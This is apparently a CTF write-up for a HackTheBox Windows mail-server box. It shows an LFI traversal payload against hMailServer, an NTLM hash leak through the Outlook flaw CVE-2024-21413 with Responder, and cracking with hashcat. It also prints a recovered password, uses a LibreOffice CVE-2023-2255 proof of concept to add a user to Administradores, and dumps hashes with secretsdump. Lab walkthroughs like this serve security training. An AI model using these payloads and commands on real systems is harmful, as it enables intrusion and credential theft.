TL;DR
I was required to remove writeups from the HTB team so that I will keep the ctf writeups private. And there are copycats who I am now have an eye on you :).
USER
It's windows box which means we may detect many ports open during Port Scanning. So I prefer a quick scan with naabu
first:
Then we will take a deep scan into these ports with nmap:
sudo nmap ${ip} -sC -sV -T4 -Pn -p 80,49665,143,49666,47001,25,465,49668,135,49664,110,993,5985,58784,7680,445,139,587,496
We have a lot information here. Port 80 is hosting the website; Port 25 & 587 are for SMTP servers that allow us to mail when we have creds to login; Port 110 for POP3 that we can check some mail messages; Port 445 for SMB; and all those rpc ports suggest that we may login remotely.
I first go and check the website. It's crystal clear that we are dealing with hMailServer, which is an open-source mailing system. And it introduces the team members: Maya, Ruy, and Gregory, possibly from low (Support) to high (Founder) privilege.
And we can download the instructions telling us how to connect to the mail server:
Then I go for Dir Enum. Not much information with only 1 interesting endpoint /download.php
:
It's the exact one that allows us to download the instructions. I intercept it using Burp then we can see there's a file
pramameter:
Then I do some research on internet to see if there's something useful to exploit hMailServer. I did find one vulnerability but it's 14 years old. It's a Local File Inclusion to allow us leak server data. Anyway since there's a related File
paramter here, I tried the payload on exploitdb:
../../../../../../../../../Program+Files/hmailserver/Bin/hmailserver.ini%00
It responses with 'File not Found' but a 200
, which means the LFI vulnerability exists.
Since it's a windows machine, I use some usual windows path to test the LYI. The final payload to path traverse the machine is:
../../windows/system32/drivers/etc/hosts
and boom! We leak the hosts
file on the windows server:
Now we just need to figure out the path of the hmail server to leak information. We can discover the path information in hmail's documentation.
And the default root folder is /hmailserver
, with:
- ProgramFolder - The path to the hMailServer directory. By default, C:\Program Files\hMailServer.
- DataFolder - The path to the hMailServer data directory. By default, C:\Program Files\hMailServer\Data.
- LogFolder - The path where hMailServer logs are stored. By default, C:\Program Files\hMailServer\Logs
- TempFolder - The path where hMailServer stores temporary files, such as attachments during virus scanning. By default C:\Program Files\hMailServer\Temp
- EventFolder - The path where the hMailServer event file is located. By default, C:\Program Files\hMailServer\Events
And they seem to be redundant because we can just use the payload in exploitdb to leak credentials from hmailserver.ini
:
We can see the password is encrypted using PasswordEncryption=1
somehow. It means we need to find a way to decrypt it to work. Identify the hash or use online cracking we've got the Administrator's cred for the hMailServer:
By using this we can login the smtp server & POP3, but I couldn't find anything in them:
Now we have to stop and think what can we do with bullets in our hands. When I go through the instructions downloaded, I found it very Microsoft. It requires us to install Microsoft Outlook to use the mailing system if we are on windows machine, rather than other safer Mailing tools like Google Mail (in my opinion). And we know Outlook has quite a bad reputation of having a history of servere vulnerabilities.
Then I searched for Outlook vulnerability on the internet. The CVE-2024-21413 is newly released, and we have enough bullets for its prerequisites. It allows us to leak the NTLM hash from the recipent with 0 click and even RCE with 1 click, by using SMTP protocol (which we can with the administrator creds).
We manage to send an email to the team members. And [email protected]
is found out to suit for our needs after testing. Set up Responder
and we successfully intercept the NTLM hash:
And now we can easily decrypt the hash. Here's the general format of an NTLMv2-SSP hash:
username::domain:client_challenge:server_challenge:nt_proof_string:timestamp
Each part of the hash represents different elements of the authentication process:
username
: The username attempting to authenticate.domain
: The domain or workstation where the user is authenticating.client_challenge
: The challenge generated by the client during authentication.server_challenge
: The challenge generated by the server during authentication.nt_proof_string
: The NT proof string, which is calculated using the NT hash of the user's password and other information.timestamp
: The timestamp of the authentication attempt.
To decrypt the provided NTLMv2-SSP hash using Hashcat, you can use a command similar to the following:
hashcat -m 5600 -a 0 hash.txt wordlist.txt
And we get Miss Maya's creds:
maya:m4y4ngs4ri
There are a lot ports open for rpc service that we discovered in our previous port scanning. Use evil-winrm
:
evil-winrm -i ${ip} -u maya -p m4y4ngs4ri
And we have the User Flag.
ROOT
After login the machine as maya, we do some simple enumeration:
Our target is a Spanish Corp. And the admin group is Administradores
, with members of Aministrator (disabled) & Localadmin. The target is protected by Windows Defender. So we need to do some manual enumeration here (or we can use obfuscator to bypass the check).
To lookup Cron Jobs/Scheduled Tasks on windows, we usually use 2 commands. Using PowerShell:
Get-ScheduledTask
or cmd:
schtasks /query
We have accesss denied from the PowerShell command. But we do get something from the cmd (N/A for Next Run Time
tasks skipped):
Folder: \Microsoft\Windows\Application Experience
TaskName Next Run Time Status
======================================== ====================== ===============
MareBackup N/A Ready
Microsoft Compatibility Appraiser 2024-05-07 4:12:33 AM Ready
PcaPatchDbTask 2024-05-06 3:44:32 PM Ready
Folder: \Microsoft\Windows\AppListBackup
TaskName Next Run Time Status
======================================== ====================== ===============
Backup N/A Ready
BackupNonMaintenance 2024-05-08 3:48:58 AM Ready
Folder: \Microsoft\Windows\CloudRestore
TaskName Next Run Time Status
======================================== ====================== ===============
Backup 2024-05-11 10:29:49 PM Ready
Folder: \Microsoft\Windows\Customer Experience Improvement Program
TaskName Next Run Time Status
======================================== ====================== ===============
Consolidator 2024-05-06 6:00:00 AM Ready
Folder: \Microsoft\Windows\Data Integrity Scan
TaskName Next Run Time Status
======================================== ====================== ===============
Data Integrity Check And Scan 2024-05-06 11:40:58 PM Ready
Folder: \Microsoft\Windows\Device Information
TaskName Next Run Time Status
======================================== ====================== ===============
Device 2024-05-07 4:08:12 AM Ready
Device User N/A Ready
Folder: \Microsoft\Windows\Flighting\OneSettings
TaskName Next Run Time Status
======================================== ====================== ===============
RefreshCache 2024-05-06 4:23:32 AM Ready
Folder: \Microsoft\Windows\InstallService
TaskName Next Run Time Status
======================================== ====================== ===============
ScanForUpdates 2024-05-08 1:57:21 AM Ready
Folder: \Microsoft\Windows\Printing
TaskName Next Run Time Status
======================================== ====================== ===============
EduPrintProv N/A Ready
PrinterCleanupTask 2024-05-09 12:00:00 PM Ready
Folder: \Microsoft\Windows\Windows Error Reporting
TaskName Next Run Time Status
======================================== ====================== ===============
QueueReporting 2024-05-06 6:42:16 AM Ready
Looks like we can read something with the prvilege of the current user (whoami /priv
). And we know our target is localadmin (Get-LocalUser
), we can use longer command to try if we can lookup specific Scheduled tasks for admin. By using PowerShell:
# Get all scheduled tasks and their respective user context
Get-ScheduledTask | foreach {
$taskName = $_.TaskName
$taskPath = $_.TaskPath
$info = $_ | Get-ScheduledTaskInfo
[PSCustomObject]@{
TaskName = $taskName
TaskPath = $taskPath
LastRunTime = $info.LastRunTime
NextRunTime = $info.NextRunTime
Status = $info.Status
UserId = $_.Principal.UserId
}
} | Format-Table -AutoSize
or using CMD to filter tasks:
schtasks /query /v /fo LIST | findstr /i "TaskName HostName Task To Run"
We got tons of information (Just post some relevant information here):
TaskName: \Mail
Next Run Time: N/A
Last Run Time: 2024-04-05 4:56:36 PM
Last Result: -1073741510
Task To Run: C:\Windows\System32\cscript.exe C:\Users\maya\Documents\mail.vbs
Scheduled Task State: Disabled
Run As User: maya
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Repeat: Stop If Still Running: N/A
TaskName: \MailPython
Next Run Time: N/A
Status: Running
Last Run Time: 2024-05-05 10:37:35 PM
Last Result: 267009
Task To Run: python.exe C:\Users\maya\Documents\mail.py
Scheduled Task State: Enabled
Run As User: maya
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Repeat: Stop If Still Running: N/A
TaskName: \Test
Next Run Time: N/A
Last Run Time: 2024-05-06 3:53:44 AM
Last Result: 0
Task To Run: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File C:\Users\localadmin\Documents\scripts\soffice.ps1
Scheduled Task State: Enabled
Run As User: localadmin
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Repeat: Stop If Still Running: N/A
INFO: There are no scheduled tasks presently available at your access level.
INFO: There are no scheduled tasks presently available at your access level.
INFO: There are no scheduled tasks presently available at your access level.
Or we can lookup specific tasks for localadmin with schtasks /query /v /fo LIST | findstr /i "localadmin"
Now we know the localadmin is running a scheduled task to execute soffice.ps1
with PowerShell named \test
. It's very familiar to us that I knew it's about LibreOffice at the first glance. A PowerShell script named soffice.ps1
in a LibreOffice context is always intended to interact with LibreOffice using PowerShell commands. In attacker perspective, it automates document manipulation to open, edit, or create LibreOffice documents programmatically using PowerShell commands.
According to the taks list, it looks like localadmin is running a test for LibreOffice and forget to remove it from scheduled tasks. While Maya hosts the mail server and we can see relevant scripts in her directory:
Task \MailPython
with mail.py
:
Task \Mail
with mail.vbs
:
The vbs starts by creating a WScript.Shell
object to interact with the Windows shell. It is automating some routine actions within the Mail app, possibly to manage emails automatically or trigger specific actions within the app.
The Python script is used to automate interactions with an email client or similar application, potentially for handling emails based on certain rules.
They are all about automating. But I cannot find a connection between them yet. Of course then I search the C:\Program Files (x86)\LibreOffice
, and found some version information:
A quick search on internet, version 7.4 is subjected to a Privilege Escalation vulnerability CVE-2023-2255 (Affecting libreoffice package, versions [7.4.0,7.4.7) [7.5.0,7.53)). And there's a POC we can utilize on github by @Icare1337.
Further, there's a soffice.ps1
script inside, which explains how it works:
It opens all .odt
file in C:\Users\Public\Documents
, and use the PowerShell command to run Start-Process
to execute arbitrary commands. This is exactly what we want that we can make a reasonable guess that localadmin is running similar script as a scheduled task.
However, after testing, it does not work when we upload a .odt
with commands using the POC to the C:\Users\Public\Documents
directory. It means the file C:\Users\localadmin\Documents\scripts\soffice.ps1
localadmin running is different from the one here. For the CVE must use an .odt
file to execute, it probably runs the file in a different directory.
Then we discover a very suspicous directory locating at C:\
:
Important Documents
is not any default directory in windows system. It's owned by localadmin, while maya has the privilege to modify. This is absolutely a potential attack factor:
Furthermore, I also found the same folder by accessing smb
with maya's creds:
smbclient -L \\\\mailing.htb\\ -U maya%m4y4ngs4ri
Maya can only access IPC$
& Important Documents
. I test it and we can upload files from our local machine to the target's C:\Important Documents
:
The file will be updated to C:Important Documents
simultaneously, but it will be deleted after a few seconds:
Therefore, I guess this is the location where localadmin uploads his .odt
with the commands he needs. And I have done some test to verify my idea, by trying to insert a command into the CVE python script to create a odt
file. It makes HTTP request to our server:
It works! But we still don't know if it's running by admin. But I believe so because we can tell from the scheduled task. Let's try an admin command that if we can do the privesc:
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'admin.odt'
And upload the file with smb straight forward (or any other method like curl
):
Bang!
We make maya group member of Administradores! Now we can use impacket secretsdump.py
to dump hashes which owned by an admin:
We have all admin hashes to login the machine. Root.
Comments | NOTHING